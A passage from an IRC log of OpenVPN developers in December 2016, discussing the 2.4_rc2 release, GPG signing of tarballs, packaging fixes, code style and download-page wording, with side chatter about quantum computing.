which we should put on the wiki page, and in addition at least syzzer and I also have our public keys on keybase.io as a second method of verification 05:49 <@cron2> so he'll need to update the wiki as well, right 05:49 <@dazo> which we can have signed as well 05:49 <@mattock> we can block the wiki page from edits 05:50 <@mattock> except by admins 05:50 <@dazo> that's a good point 05:50 <@cron2> that would certainly a good starting point, so people can verify the keys used to sign openvpn-devel posts 05:50 <@dazo> yeah 05:51 <@mattock> dazo: I'll start churning the tarballs then 05:51 <@dazo> cool! 05:52 <@cron2> cool indeed! 05:53 <@dazo> cron2: any how ... this won't be 100% foolproof, but what can be 100% foolproof? I just believe this is an improvement which have value, and it is way better than not doing it 05:54 <@cron2> effort/result balance - if the attack scenarios are getting highly unlikely, but the effort to defend against it takes more of my time, I tend to get sceptical 05:55 <@dazo> agreed ... and I can see it gets more of a burden without a gpg-agent 05:55 <@dazo> but with that, you hardly notice it 05:56 <@dazo> (I even thought that newer gnupg releases enforced use of gpg-agent) 05:56 <@cron2> and then I see new and exciting attack angles, like "just hacking your laptop" which means "all keys are pre-loaded right away" 05:56 <@cron2> which is why I only let mutt cache my pass phrase for 15 minutes 05:57 <@dazo> but that attack window is limited, and highly targeted 05:57 <@dazo> it reduces the possible attack vectors 06:04 <@mattock> dazo: which key did you use to sign the release tarballs? 06:06 <@mattock> nevermind, it worked after all 06:06 <@mattock> GnuPG was just complaining 06:12 <@dazo> mattock: I used the key you should have signed ;-) 06:21 <@mattock> :D 06:22 <@mattock> I will get to it soonish 06:22 <@mattock> withold your signatures from me until I do :P 06:24 <@dazo> heh ... too late, I already signed it I think :) 06:27 <@mattock> yes, but can _I_ get to the signature? If not, that would motivate me 06:27 <@mattock> :D 06:28 <@dazo> I will pretend you cannot get that signature before you've signed all our keys :-P 06:33 <@mattock> good 06:33 <@mattock> there is so much stuff I've promised myself to do "after 2.4.0"... 06:33 <@dazo> :) 06:34 <@mattock> well, making one release a week _is_ quite hectic, especially as new stuff is constantly pumped into openvpn-gui, tap-windows6 and openvpn-build 06:34 <@mattock> anyways, windows installer ready, will run it through some basic tests 06:36 <@mattock> debian packages building 06:52 <@mattock> debian packages ready, windows test suite running 06:52 <@mattock> testing a few debian packages manually, just in case 06:53 < ordex> syzzer: any paper comparing GCM to CBC ? 06:55 < eworm> Arch Linux packages are available here: http://pkgbuild.com/~eworm/openvpn/ 06:55 <@vpnHelper> Title: Index of /~eworm/openvpn/ (at pkgbuild.com) 06:58 <@mattock> dazo (or someone else): the older debian/ubuntu's fail to build, because this patch no longer applies cleanly: https://build.openvpn.net/downloads/temp/reverse-f8b590.patch 06:58 <@mattock> probably due to reformatting 06:58 <@mattock> could someone quickly fix that? 07:00 < slypknot> you could cut the tension with a QBit ;) 07:02 <@mattock> can a qbit rebase patches? or is that just a simplification of their purpose? 07:02 <@mattock> all sorts of misinformation floating around nowadays, so you never know... 07:05 <@dazo> mattock: that's just reverting commit f8b590d5a6692324a8cb8522ddc598358a215ac5 ? 07:05 <@dazo> I can sure have a look at this ... just curious why that's needed on debian 07:06 <@mattock> otherwise openvpn does not build on old debian/ubuntu, because pkcs11-helper is too old 07:06 <@mattock> that's the main reason 07:06 <@dazo> ahh 07:06 <@mattock> newer debian/ubuntu are fine 07:06 <@dazo> okay, yet another reason to ditch pkcs11-helper in favour of p11kit 07:08 <@mattock> windows tests passed, looking good 07:08 <@mattock> also a few debian smoketests 07:10 <@dazo> I have a patch ready :) 07:10 <@dazo> mattock: which deb version is this? 07:12 <@dazo> mattock: I've put the patch on our private file share ... 0001-Revert-pkcs11-use-generic-evp-key-instead-of-rsa.patch 07:14 <@dazo> mattock: is the tree ready to get the official git tag pushed out? 07:14 <@mattock> the tree should be good to go, yes 07:14 <@mattock> this is just a packaging problem, everything else looks good 07:14 <@dazo> \o/ 07:15 <@dazo> we're golden! :) 07:15 <@mattock> looks like it yes 07:15 * dazo pushes again 07:22 <@mattock> ok, it now builds 07:22 <@mattock> I will have to finish the release late this evening / tomorrow morning 07:23 <@dazo> fair enough ... sorry we didn't manage it earlier, but was great to have those two last code changes into the tree for the rc2 07:24 <@mattock> basically this is missing: announcements, a few debian/ubuntu packages from repos, tying some loose ends (git pushes etc.) 07:24 <@mattock> updating the webpage 07:24 <@mattock> should be doable today evening 07:24 <@dazo> cool! 07:24 <@mattock> anyways, need to split 07:24 <@dazo> have fun! 07:24 <@mattock> I will! :) 07:25 < ordex> 216 files changed, 65158 insertions(+), 56818 deletions(-) 07:25 < ordex> lol 07:25 < ordex> :D 07:25 < ordex> no something you see everyday :) 07:26 <@dazo> hehe :) 07:26 < ordex> but function declarations still go beyond 80 chars 07:26 <@dazo> ignore one single commit, and the diff is far more reasonable :) 07:26 < ordex> can I fix that while touching surrounding code ? 07:27 < ordex> I guessed so :P 07:27 <@dazo> ordex: we decided to skip enforcing 80 chars lines in the reformatting ... the result got too ugly, rather fix things as we touch those code paths 07:27 < ordex> copy that ! 07:27 * ordex fixes 07:27 < ordex> the length line is one of the things I care the most :D 07:28 <@dazo> I would be careful with fixing line length of lines you normally wouldn't touch in your commits .... unless it's a quite large change in a function anyhow and that would just be a few more extra diff lines 07:28 <@dazo> (to make it easier to review patches) 07:29 < ordex> sure 07:30 < ordex> btw, did anybody by accident came up with a sty file for vim that follows this codestyle ? 07:30 < ordex> that'll be helpful 07:30 <@dazo> we have the uncrustify config ;-) 07:30 < ordex> eheh 07:31 < ordex> true, but I'd like to follow the style right away rather than uncrustify it later 07:31 < ordex> buuut 07:31 < ordex> this can be a good exercise to learn a bit about the sty thing 07:31 < ordex> :) 07:32 <@dazo> :) 07:33 <@dazo> if you come up with a reasonable vim config, we can add it to our wiki ... maybe even add it to the git tree to under the dev-tools/ subdir 07:34 < ordex> nice :) 07:34 < ordex> I'll see if I managed to come up with that 07:34 < ordex> after the rebase 07:34 <@dazo> :) 07:44 <@ecrist> krzee: I only do the -devel port, mathias does the normal openvpn port 07:55 * dazo heads out for some hours 08:15 <@cron2> ordex: yes, that would be useful 08:18 < ordex> cron2: will try to provide one then :) 08:18 < ordex> syzzer: in some of your replies to the ML I already found plenty of information :) 08:31 < ordex> cron2: in case of a cast, should the following variable be separated with a whitespace? 08:32 < ordex> i.e. (int)a or (int) a ? 08:32 * ordex prefers the first one 08:41 * ordex is puzzled 08:41 < ordex> this was not corrected by uncrustify I think 08:50 <@cron2> syzzer: your poor mans NCP does the job exactly as I hoped - I told my colleagues "if you run into issues with reneg-bytes 64M, just add 'cipher AES-192-CBC' to your client config, problem solved" 08:50 <@cron2> and it works :) 09:08 <+krzee> \o/ 10:04 <@plaisthos> nice 10:35 <+krzee> ecrist: oh well then i was actually using your port not his when i had the issue 11:53 <@plaisthos> " but HAVE_OPENSSL_ENGINE was unset because of typos in the configure command." <= :D 12:31 <@syzzer> which obviously results in openvpn segfaulting :') 13:07 < selvanair> ordex: regarding " selvanair: I agree with you on not running uncrustify before every.." 13:07 < selvanair> good to know I'm not alone on this :) 13:13 <@mattock> selvanair: so https://github.com/OpenVPN/tap-windows6/pull/22 is ready to merge in your opinion? 13:13 <@vpnHelper> Title: Add external manifest file for tapinstall.exe by mattock · Pull Request #22 · OpenVPN/tap-windows6 · GitHub (at github.com) 13:13 <@mattock> 2.4_rc2 is practically out (just announcements left basically), but a new tap-windows6 installer could make it to 2.4.0 13:13 <@mattock> with the "touch tapinstall.exe" functionality 13:14 < selvanair> mattock: looks good to me once touch is added to be sure.. 13:14 <@mattock> ok, let's not merge that one yet then 13:14 <@mattock> it seems that tap-windows6 installer always overwrites tapinstall.exe, so touching tapinstall.exe before packaging it might be enough as you say 13:15 <@mattock> more tests are needed though 13:15 < selvanair> mattock: also leave out my latest PR for GUI -- its not critical and can be added any time 13:16 <@mattock> https://github.com/OpenVPN/openvpn-gui/pull/108 I presume 13:16 <@vpnHelper> Title: Update _WIN32_WINNT to _WIN32_WINNT_VISTA by selvanair · Pull Request #108 · OpenVPN/openvpn-gui · GitHub (at github.com) 13:16 <@mattock> that is out alright 13:17 < selvanair> yes 13:18 < selvanair> mattock: what abt PR 63 for openvpn-build? Leave for later? 13:19 <@mattock> I would definitely leave it for later 13:19 <@mattock> not least because I already tested and built the official 2.4_rc2 installers :) 13:19 <@mattock> but I think we could try to get it into 2.4.0 13:20 <@mattock> could/should 13:20 < selvanair> yeah, that should be fine. 13:20 <@mattock> I think we should also advertise the new openvpn-gui features on the openvpn download page 13:20 <@mattock> we really haven't done that so far 13:21 <@mattock> plus have a changelog for openvpn-gui in Trac wiki, possibly in directly in ChangesInOpenVPN24 13:21 < selvanair> And document interactive service, ovpn_admin group etc.. better. 13:22 <@mattock> = Changes in OpenVPN 2.4_rc2 = 13:22 <@mattock> == Changes in OpenVPN == 13:22 <@mattock> == Changes in OpenVPN GUI == 13:22 <@mattock> indeed 13:23 <+krzee> mattock: i agree, today i noticed on the download page for 2.4 is said "This release includes several smaller fixes and improvements" 13:23 <+krzee> i lol'ed 13:23 < selvanair> "smalled fixes.." yeah :) 13:23 <@mattock> now it says "small" 13:24 <@mattock> I fixed that typo, so the fun is now over :P 13:24 <+krzee> maybe LARGE> 13:24 <+krzee> haha 13:24 <@mattock> lo and behold: openvpn-2.4_rc2: https://openvpn.net/index.php/download/community-downloads.html 13:24 <@vpnHelper> Title: Community Downloads (at openvpn.net) 13:24 < selvanair> make it "big improvements" :) 13:24 <+krzee> 'smaller' or 'small' was actually fine for english 13:24 <@mattock> like "fix a small typo in the man-page" 13:24 <+krzee> but 'small' does not describe the jump to 2.4 13:25 <@mattock> well yes, but that was relative to 2.4_beta1 13:25 <@mattock> depends on the viewpoint 13:25 <@mattock> a more generic "compared to OpenVPN 2.3.x this release..." 13:25 <@mattock> might make sense on the release page 13:25 <+krzee> for most the users looking at the package, i think the view is compared to before 2.4 13:25 <@mattock> yeah, quite like 13:25 <@mattock> ly 13:26 <@mattock> krzee: did you just volunteer to reword the 2.4_rc2 section on the download page a bit? :) 13:26 < selvanair> yeah, think compared to 2.3.x 13:26 <+krzee> i could do a little but really people who understand the jump better should do it 13:26 <+krzee> i know nothing about the interactive service for example 13:26 <@mattock> I think we can reuse stuff from openvpn-2.4_alpha1 release announcement 13:27 <@mattock> let's see 13:27 <@mattock> oh, alpha1 was never released, so alpha2 it is 13:27 <@mattock> hmm: "This release includes a large number of new features, improvements and fixes" 13:27 <@mattock> quite generic 13:27 <+krzee> This release includes several large improvements and changes. a summary... 13:28 <+krzee> ya, thats good enough for now, the changes.rst is where the goodness is 13:31 <@mattock> "Compared to OpenVPN 2.3 this is a major update with a large number of new features, improvements and fixes. Changes compared to previous OpenVPN 2.4 release are fairly minor, and include several small fixes and improvement. A summary of the changes is available in Changes.rst, and a full list of changes is available here." 13:31 <@mattock> good enough? 13:32 <@mattock> improvement -> improvements 13:33 < selvanair> sounds good to me.. 13:44 <@mattock> I add a generic note about the greatly updated openvpn-gui 13:45 <@mattock> plus a link to ChangesInOpenVPN24 page which now also includes OpenVPN GUI changes 13:45 <@mattock> not very user-friendly, but better than nothing 13:45 <@mattock> we need a proper overview of all changes for the 2.4.0 release, though 13:45 <@mattock> now the announcements... 13:46 <+krzee> changes.rst aims to be that overview i believe 13:46 <+krzee> mattock: ^ your summary looks good 13:49 <@mattock> krzee: ok, good! 13:49 <@mattock> yes, for OpenVPN Changes.rst does the trick 13:49 <@mattock> we don't have anything like that for OpenVPN GUI, though 13:49 <@mattock> even though it has been improved greatly in recent months 13:50 <@mattock> mostly thanks to selvanair 13:55 <@dazo> mattock: just catching up on scrollback ... I'd recommend to have to "changes" section. The first one comparing against 2.4, and the second one what changed since 2.4_alpha (since the rc1->rc2 is mostly boring, at best minor bugfixes or improvements to new features) 13:55 <@dazo> the real big (4.5MB patch) from rc1 -> rc2 is The Great Reformatting ... which is really not something users care bout 13:56 <@mattock> dazo: you mean on the download page? 13:56 <@dazo> yeah 13:56 <@mattock> it is like that, but without a section header basically 13:57 <@mattock> https://openvpn.net/index.php/download/community-downloads.html 13:57 <@vpnHelper> Title: Community Downloads (at openvpn.net) 13:58 <@mattock> hmm, it seems the release is now as out as it can be 13:58 <@mattock> \o/ 13:58 <@dazo> mattock: I would highlight in the windows paragraph that the GUI have been massively improved and does no longer require admin privileges for the normal users 13:59 <@dazo> most people won't follow all links unless they're served with some real juicy goodies :) 14:01 <@mattock> yeah, I agree 14:01 <@mattock> that said, a proper Changes.rst is really needed for OpenVPN GUI before 2.4.0 is out 14:02 <@dazo> similarly for the first section ... mention AEAD (GCM) cipher and Elliptic Curve DH key exchange support, improved IPv4/IPv6 dual stack support and more seamless connection migration when client's IP address changes (Peer-ID) 14:02 <@mattock> I think I'll mention the "don't need to run as administrator" separately for now on the download page 14:03 <@dazo> yeah 14:04 <@dazo> oh, --tls-crypt is also worth mentioning .... something like: Through the new --tls-crypt feature get an increased connection privacy 14:05 <@dazo> .... feature users can get an ..... 14:06 <+krzee> <3 tls-crypt 14:07 <@dazo> :) 14:07 <+krzee> hides the tls certs, poor mans quantum crypto, should help against dpi even 14:07 <+krzee> err not quantum crypto i meant quantum safe 14:07 <@mattock> krzee is that a shell redirection, or a Santa Claus with huge eyebags? 14:07 <@mattock> and with a tls-crypt shirt 14:07 <@mattock> or hoodie 14:07 <@mattock> ? 14:07 <@mattock> :D 14:07 <+krzee> mattock: a sideways heart 14:08 <@mattock> ah 14:08 <@mattock> now I see it 14:08 <+krzee> although its also a shell redirection lol 14:09 <@dazo> krzee: the DPI is fairly weak with --tls-crypt ... elements of the openvpn protocol is still identifiable 14:10 <@dazo> (like op-code and peer-id and a few other flags) 14:10 <+krzee> oh i see 14:10 <@mattock> now the download page is pretty decent: https://openvpn.net/index.php/download/community-downloads.html 14:10 <@vpnHelper> Title: Community Downloads (at openvpn.net) 14:10 <@mattock> that will have to suffice for now, as it's getting late 14:11 <+krzee> he mentioned tls-crypt long ago when i was saying that we could use a --tls-auth like file to XOR the entire datastream (which is all the XOR patch for dpi bypass does, but does it static i believe) so i must have mistaken where it comes in to play 14:11 <@dazo> hehe ... I'd suggest moving "A summary of the changes is available in Changes.rst. " to the end of the first paragraph 14:12 <@dazo> krzee: yeah, I know ... but it probably was not too easy to see how well it would work as obfuscation 14:12 <+krzee> got ya 14:12 <+krzee> still <3 tls-crypt 14:12 <+krzee> haha 14:13 <@dazo> but it probably changes enough so that today's DPI might let it pass for some time :) 14:29 < m-a> -rc2 for FreeBSD uploaded. Trivial changes over -rc1, but I've added openvpn23 and -polarssl ports that I intend to keep around until end of March 2017. 15:22 <@syzzer> dazo: when will we branch off release/2.4? 15:23 * syzzer votes "as soon as the first post-2.4 patch is ACKed 15:38 <@dazo> syzzer: oh, I can do that now :) 15:38 <@dazo> this is a reasonable point to branch of ... *if* an rc3 comes before the 28th, that should be absolutely a minimal amount of commits 15:41 <@dazo> done! 15:44 <@syzzer> ah, there we go 15:46 < m-a> n8 16:31 < slypknot> krzee: sorry about my quantum nastiness .. No excuses from me, i was badly behaved (again). QC is fascinating but also stinks of something, which is probably my ignorance. if possiple, un-/ignore would be highly appreciated :) 16:47 <@syzzer> slypknot: you are allowed to not believe in QC. I know some brilliant people who believe in QC. But I also know some people I highly appreciate - even one who actually has a PhD in Quantum Computing - that do not believe that there will even be a quantum computer that breaks RSA-4096. Just don't be a dick about it ;) 16:50 <@syzzer> since I last week visited the physics faculty of my old univerity, where an Intel-funded team demonstrated the first optimizing compiler for quantum computers on a real (2-qbit) QC microchip prototype, I once more believe that we *will* see quantum computing 17:07 < slypknot> syzzer: thank you .. i did not mean to pissoff krzee .. and yes (at this time QC seems very un-natural to me but to Babbage I am sire this would 'all' appear crazy 17:08 < slypknot> it was just me being unpleasant .. a fault i am not proud of 17:10 < slypknot> as for QC .. I cannot get my head around how a bit that is in both states can make that much difference .. 17:13 <@plaisthos> it all makes sense after studying mathmatics for 3-4 years 17:13 <@plaisthos> you still don't what qubit is but you also don't care anymore :) 17:14 <@plaisthos> you just assume that the qubit has the mathmatical properties you are being and work with that 17:17 < slypknot> from what i have managed to sort of understand .. prime numbers play a fundemental role in how these 'qbits' exist .. and it is that property which inclines the crypto-experts toward what they may offer .. but what do i know :) it's all good .. it is as strange as strange can be but i likde to warp my brain in that way if i can $:| 17:26 < selvanair> As someone who has dabbled in research related to spintronics and entanglement (tho' only remotely related to QC), let me say this: nobody in the field questions the maths and physics behind QC. The difference in opinion is about the practicality of engineering aspects -- mainly about scaling the current few-qubit demonstrations and on taming decoherence. But it would be a folly to think QC wont happen -- a breakthrough leading to a new phys 17:36 < slypknot> selvanair: was that deliberately 'cut short' ? 17:38 < slypknot> we cannot say waht *is* possible until it *is* possible .. I, personally, am sceptical .. but i have a habit of bieing wrong 17:39 < slypknot> that manhatton project must be seeming quick juicy about now 17:40 < slypknot> some things may be possible .. but simply not sensible .. 17:45 < selvanair> slypknot: deliberately cut short, no: but was afraid of saying something stupid as this is a hard field and I understand only part of the Physics and almost nothing of cryptography. 17:49 < slypknot> I will admit : in my case, I got so far in physics and then just said: Do forking what ? 17:50 < slypknot> <-- old git 17:51 < slypknot> i think it is more of a soceological reaction overall 17:51 < selvanair> Nothing wrong being a sceptic; but better be a informed sceptic. 17:54 < slypknot> it is not the scepticism per se .. it is the result or waste product which i have the issue with, it cost (our planet) a lot to make these things .. i am conflicted with priorities 17:54 < slypknot> take it to room 101 ;) 17:55 < slypknot> its all good .. just happened to spill over that time there with QC 17:56 < slypknot> also .. the human cost to manufacture these things is starting to slip heavily into something i am very uncomfortable with 17:56 < slypknot> Very 17:57 < slypknot> openvpn-devev .. is not the place ! 18:28 < klow> Sorry to ask this here, I've already asked everywhere else though. I'm trying to get the iOS Connect app to connect to a 2.4rc1 server, I have tried various settings and excluding cipher settings from both client and server confs - but I'm getting "no shared tls ciphers" in the server log. Same conf works fine on 2.4rc1 client on mac.. I know this iOS app is quite different.. but any suggestions 18:28 < klow> would help appreciated. Thanks 18:29 < klow> Issue could possibly be that the iOS app just doesnt like my certs/keys, since they are elliptic curve and not rsa.. ? 18:29 <+krzee> it would also be a folly to take slypknot too seriously :D 18:30 <+krzee> lets remember we talking about somebody who most ops from the pub chan have /ignored and that has been banned from both chans a number of times 18:30 < slypknot> i got some b.a.a.a.d rep 18:31 < slypknot> and i apologies for all of it 18:32 <+krzee> klow: i wish i had a good answer but ive never used connect, but i would say some testing could tell you the answer... try rsa certs with the same configs"? 18:32 <+krzee> its 100% a rewrite, so theres no telling whats not supported 18:33 < slypknot> klow: restart everything 21:35 < slypknot> krzee: this one is up to you .. 21:36 < slypknot> mbedtls -version was annoying , i helped a bit there 21:43 < ordex> morning 21:46 < slypknot> ordex: hi 21:47 < ordex> hi slypknot :) 21:48 < slypknot> it is very early for most ppl here 21:49 < slypknot> i should be dead and burie 21:49 < slypknot> d* 21:54 < slypknot> https://community.openvpn.net/openvpn/report/1?sort=ticket&asc=0&page=1 21:54 <@vpnHelper> Title: {1} Active Tickets – OpenVPN Community (at community.openvpn.net) 21:55 < ordex> slypknot: I think that would be a good idea :D 22:00 < slypknot> wich good idea in particular ? 22:00 < ordex> to sleep :D 22:01 < slypknot> good idea ; 22:01 < slypknot> ) --- Day changed Sat Dec 17 2016 09:06 <@plaisthos> mpf 09:06 <@plaisthos> 2016-12-17 14:31:26 Recursive routing detected, drop tun packet to [AF_INET]212.24.101.235:443 09:07 <@plaisthos> that patch kills legit android vpn connections 09:33 * plaisthos adds the option to disable that by default to the config 12:08 <@cron2> plaisthos: it should never actually kill the connection, but it might interfere with user traffic ("I want to access the VPN server through the VPN") which other platforms cannot do at all 18:11 <@ecrist> ping mattock, cron2, or dazo 18:12 <@ecrist> well, anyone that knows, I suppose. 18:12 <@ecrist> There is a page that was created about 3 years ago: http://community.openvpn.net/openvpn/wiki/OpenVPN2.4 18:12 <@vpnHelper> Title: OpenVPN2.4 – OpenVPN Community (at community.openvpn.net) 18:12 <@ecrist> How much of that holds true for 2.4? --- Day changed Sun Dec 18 2016 00:06 <@vpnHelper> RSS Update - tickets: #794: Process for builing OpenVPN with OpenSSL <https://community.openvpn.net/openvpn/ticket/794> 03:39 <@syzzer> ecrist: it's actually not too far off :0 03:40 <@syzzer> just that we postponed most of the refactoring to 2.5 03:40 <@syzzer> that is, the "refactoring and modularization" from the introduction 05:20 <@plaisthos> first angry user because of tls-remote 05:27 <@plaisthos> ecrist: that page is terrible outdated 05:27 <@plaisthos> ecrist: https://github.com/OpenVPN/openvpn/blob/master/Changes.rst 05:27 <@vpnHelper> Title: openvpn/Changes.rst at master · OpenVPN/openvpn · GitHub (at github.com) 05:27 <@plaisthos> that gives a good impression was actually happend 08:30 <@cron2> plaisthos: what? 09:30 <@plaisthos> cron2: we removed tls-remote in 2.4 09:30 <@plaisthos> and I just updated my client to a version that has that commit in it 09:37 <@cron2> ah, tls-remote. I misread that for tls-crypt and wondered why that should upset anyone 09:45 <+krzee> tls-remote had clear warnings about deprecation in the 2.3 manual, gave how to migrate 09:45 <+krzee> that means they've had a couple years to do it 11:00 <@cron2> syzzer: bringing up the horrors from the past... 11:09 <@syzzer> heh, which ones specifically? :p 11:11 <@cron2> NTLM :-) - that thread was still sitting in my inbox and got bubbled up now 11:11 <@syzzer> ah, right :p 11:47 <@cron2> New defects found: 0 11:47 <@cron2> Defects eliminated: 5 11:47 <@cron2> whee 12:41 <@syzzer> yup, heading in the right direction :) 14:10 < slypknot> ecrist: mattock .. forum is down .. 19:22 < ordex> morning! --- Day changed Mon Dec 19 2016 01:46 <@syzzer> ordex: morning :) 01:47 < ordex> :) 01:47 <@syzzer> I promise to look at the inline patch (I want it in), but the coming week will be crazy busy, so probably not until januari 01:47 <@syzzer> *weeks 01:48 < ordex> no worries :) it is there now ;) 01:49 <@syzzer> yeah, just "expectation management" 01:49 < ordex> yeah, thanks! 07:09 <@ecrist> slypknot: looking now 07:10 <@ecrist> grr 07:20 <@ecrist> it's back online. 07:20 <@ecrist> I've also done a system-wide package upgrade 08:01 <@dazo> ecrist: I've done a few updates to the OpenVPN2.4 page you pointed us at ... a lot of things have been done 08:04 <@mattock> I had forgotten we even had the "OpenVPN2.4" page 08:04 <@mattock> it looks pretty old 08:05 <@mattock> I've just been monitoring the Release status page 08:19 <@ecrist> So, I referenced that page in the Mastering OpenVPN book, and was looking to point at "something" for the Troubleshooting OpenVPN I'm in the process of writing. 08:20 <@ecrist> I'm currently writing about authentication and process privleges and wanted to briefly discuss the new Windows architecture with a system process and user process separation. 08:33 <@dazo> we should probably go through that wiki page, and do a proper rewrite or point at Changes.rst 09:11 <@mattock> dazo: yeah 10:09 <@dazo> https://ostif.org/the-openvpn-fundraiser-has-hit-its-goal-work-on-the-audit-begins/ 10:12 <@cron2> cool 10:15 < ordex> nice news :) 10:16 < ordex> oh they will setup a bounty program with the extra money they'll get 10:16 < ordex> nice 10:16 <@syzzer> hmmm, are we excluded from that program? :p 10:17 < ordex> why should you ? :P 10:17 <@syzzer> without joking: nice news indeed! 10:25 <@cron2> some day I'll understand how my customers are ticking... one registered *this* domain today: ukbgej2npvfvzs57eivl7aqcsmhfkzkharfphjrnva0a7h3egn.de 10:26 < ordex> maybe he just fall on the keyboard :D 10:26 < ordex> *fell 10:27 <@ecrist> maybe he owns a botnet? 10:27 <@cron2> as far as I know, no... 10:27 <@cron2> this must be SECURITY!!! related... 10:27 <@cron2> maybe it's a hash of some corporate secrets... 10:29 <@ecrist> Maybe it's a crypto key that is used for authentication via reverse dns lookup? 10:29 <@ecrist> "Ah, you come from ukbgej2npvfvzs57eivl7aqcsmhfkzkharfphjrnva0a7h3egn.de, (sound of large heavy doors whooshing, someone doing the robot in the background). ACCESS GRANTED" 10:30 * ecrist can't find the english version of the space.net 10:31 * cron2 refuses to comment on our corp web site 10:31 <@ecrist> heh 10:32 <@ecrist> interestingly, /en/ doesn't result in a 404, but is still german 10:34 <@cron2> dazo: are you ok with bumping version.h in master to 2.5_git now? So it's clear "this is not 2.4_rc2 any longer"? 10:34 <@cron2> (patch from syzzer on the list, I can merge it but want to quickly check) 10:41 <@dazo> cron2: that domain is a typical sales/marketing guy trying to be 1337! "We're doing darknet things!" 10:41 <@dazo> cron2: yeah, I haven't had time yet today to look at applying patches ... but think that can go in without any issues 10:41 <@dazo> normally we haven't done such patches on the list ... but I don't care about it 10:43 <@dazo> I'm planning to do a Copyright update on all files as well, just updating the year ... I'll probably just shoot for 2017 instantly too ... I'm just considering to do that change directly, as the changes is clearly documented in the commit msg + patch 10:44 <@dazo> and I'll isolate it for the openvpn.net entries ... uf someone else wants their lines updated as well, please let me know 10:44 <@dazo> *if 10:45 <@dazo> hmm ... maybe I'll just write a script for dev-tools/ to do that job 10:45 <@dazo> git grep "Copyright " | grep openvpn.net | wc -l 10:45 <@dazo> 190 10:46 <@dazo> syzzer: ^^^ 10:46 <@dazo> d12fk: ^^^ 10:46 <@dazo> plaisthos: ^^ 10:48 <@syzzer> dazo: sure, if you can, please update the Fox lines too :) 10:48 <@dazo> sure, no prob! 10:48 <@syzzer> I think I can safely claim we're still 'actively contributing to development' ;) 10:49 <@dazo> hehehe ... at least after this weekend! :-P 10:51 <@d12fk> dazo: what is it 11:45 <@vpnHelper> RSS Update - tickets: #795: Add --port-share logging <https://community.openvpn.net/openvpn/ticket/795> 12:04 <@dazo> d12fk: do you want to get the copyright year updated on the files you've added that to? 13:02 <@dazo> syzzer: wrote a script to do the copyright updates in a consistent way ... sent to ML now 14:21 <@dazo> riddle: please get your IRC connection sorted out .... you've been connecting/disconnecting quite a lot today 15:03 -!- mode/#openvpn-devel [+b *!*@us.yunix.net] by dazo 15:10 <@dazo> wtf is happening in Berlin!? http://www.zeit.de/gesellschaft/zeitgeschehen/2016-12/berlin-weihnachtsmarkt-kurfuerstendamm-gedaechtniskirche-attentat 15:10 <@vpnHelper> Title: Berlin: Neun Tote und mindestens 50 Verletzte | ZEIT ONLINE (at www.zeit.de) 15:14 < slypknot> dazo: is systemd meant to be enabled by default in 2.4_RC2 or not ? (eg ./configure --enable-systemd) 15:17 <@cron2> dazo: wtf :( 15:36 <@dazo> slypknot: nope, as we support more than just Linux 15:37 <@dazo> slypknot: with time we might consider to auto-detect if the system building openvpn is systemd based, and automatically enable it ... but that's far into the future (not before 2.5 at earliest) 16:06 <@dazo> btw all ... I'll be mostly offline tomorrow and on Thursday ... but will work Wednesday and at least some of Friday ... paying attention to ML and mail in general, but unless something nasty happens with rc2, I'll be ready to wrap up 2.4.0 next week 16:08 <@dazo> Right now I'm looking into the --auth-nocache + --auth-gen-token challenge ... gee the authentication layer is doing lots of odd stuff on many places ... need to fix a lot of this for 2.5, so for 2.4 and 2.3 I'll go for some simpler solution 16:51 < klow> sorry I've asked this several times, won't ask again after this. Does anyone know, semi-definitively, what TLS ciphers and data ciphers the iOS OpenVPN Connect app supports (and whether it is at all compatible with 2.4rc1 server) 16:51 < klow> i just don't know how to check it since its on iOS and isnt open source or anything 17:36 < klow> hmm. Looks like if I disable the "Force CBC cipher suites" , and possibly because I switched back to RSA certs/keys, I can connect to 2.4rc1 with iOS app now in case anyone cares 17:37 < klow> and using ECDHE TLS and AES-256-GCM is a good improvement from my 2.3x setup 18:20 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 250 seconds] 19:16 < ordex> aloha :) 19:17 < ordex> reading the newspaper everyday is depressing :( 19:17 < danhunsaker> klow: Thanks for the heads up. Sorry we're not very helpful in the AS channel lately. 19:25 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 19:25 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Tue Dec 20 2016 01:48 <@cron2> there's a greenie.muc.de copyright line somewhere? whee! \o/ 02:05 < ordex> but instead of having the multi-platform code mixed in the same file, wouldn't it be better to have everything in independent file and compile the right functions based on the detected OS ? 02:05 < ordex> similar to what is done for the cryptolibrary 02:05 < ordex> or there is another reason for keeping this approach ? 02:06 <@cron2> organically grown code... 02:07 <@cron2> but I'm not convinced that splitting tun.c into 10 different "almost-the-same" tun-$platform.c files is a better approach 02:08 <@cron2> quite a bit of code is actually shared across platforms - so you'd end up with lots of copy-paste code which is not very maintenance friendly either 02:08 * cron2 has some ideas how to make tun.c nicer, but we'll see how that works out 02:21 < ordex> yap 02:22 < ordex> even using macros/inline functions defined in their own header file and then pulling them in a cleaner tun.c (maybe I am making it very simplicistic :P) 02:22 < ordex> but yeah :) 02:24 <@cron2> most of the annoying differences is "how to call ifconfig/route for one of 3 cases on platform <x>", and I think this can be moved towards something more tabular and a generic "interpreter" that takes the necessary bits from the table (for case 1, 2, 3) and then just runs the command 02:24 <@cron2> that would remove about half the #ifdef orgy 02:24 < ordex> :D 02:24 < ordex> yap 02:24 < ordex> not sure you mean this, but like a "ops" approach could help I guess 02:24 <@cron2> then group together stuff like "needs local route" under a common #define NEED_<foo>, so the #if defined(this) || defined(that) || ... 02:24 < ordex> yup 02:24 <@cron2> just look at the argv_print() orgy in tun.c :-) 02:25 < ordex> btw, I am talking about this because I started dealing with rtnl and I can see how this can be cleaned up big time 02:25 < ordex> now, don't curse me :D 02:26 <@cron2> "for Linux", but Linux is just one OS among many - so cleaning up linux isn't bringing very much "big time" cleanup to tun.c/route.c 02:27 < ordex> sure 02:27 < ordex> what I meant is that by going through the code I can see how this could be simplified - not saying that just cleaning up linux will cleanup everything 02:27 < ordex> that wouldbe too easy :) 02:27 < ordex> btw, the bottomline is that I am offeringmy help :) if you have any idea/approach to share..I could help a bit on this 02:28 <@cron2> actually having linux do something that is not argv_printf() based will ruin half of the nice effect of moving to a table-driven approach :-) 02:28 < ordex> eheh 02:28 < ordex> too bad :-P 07:26 <+krzee> https://bpaste.net/show/32cb71030ce1 gcm must be negotiated as opposed to used in --cipher? 08:04 <@syzzer> krzee: no, --cipher 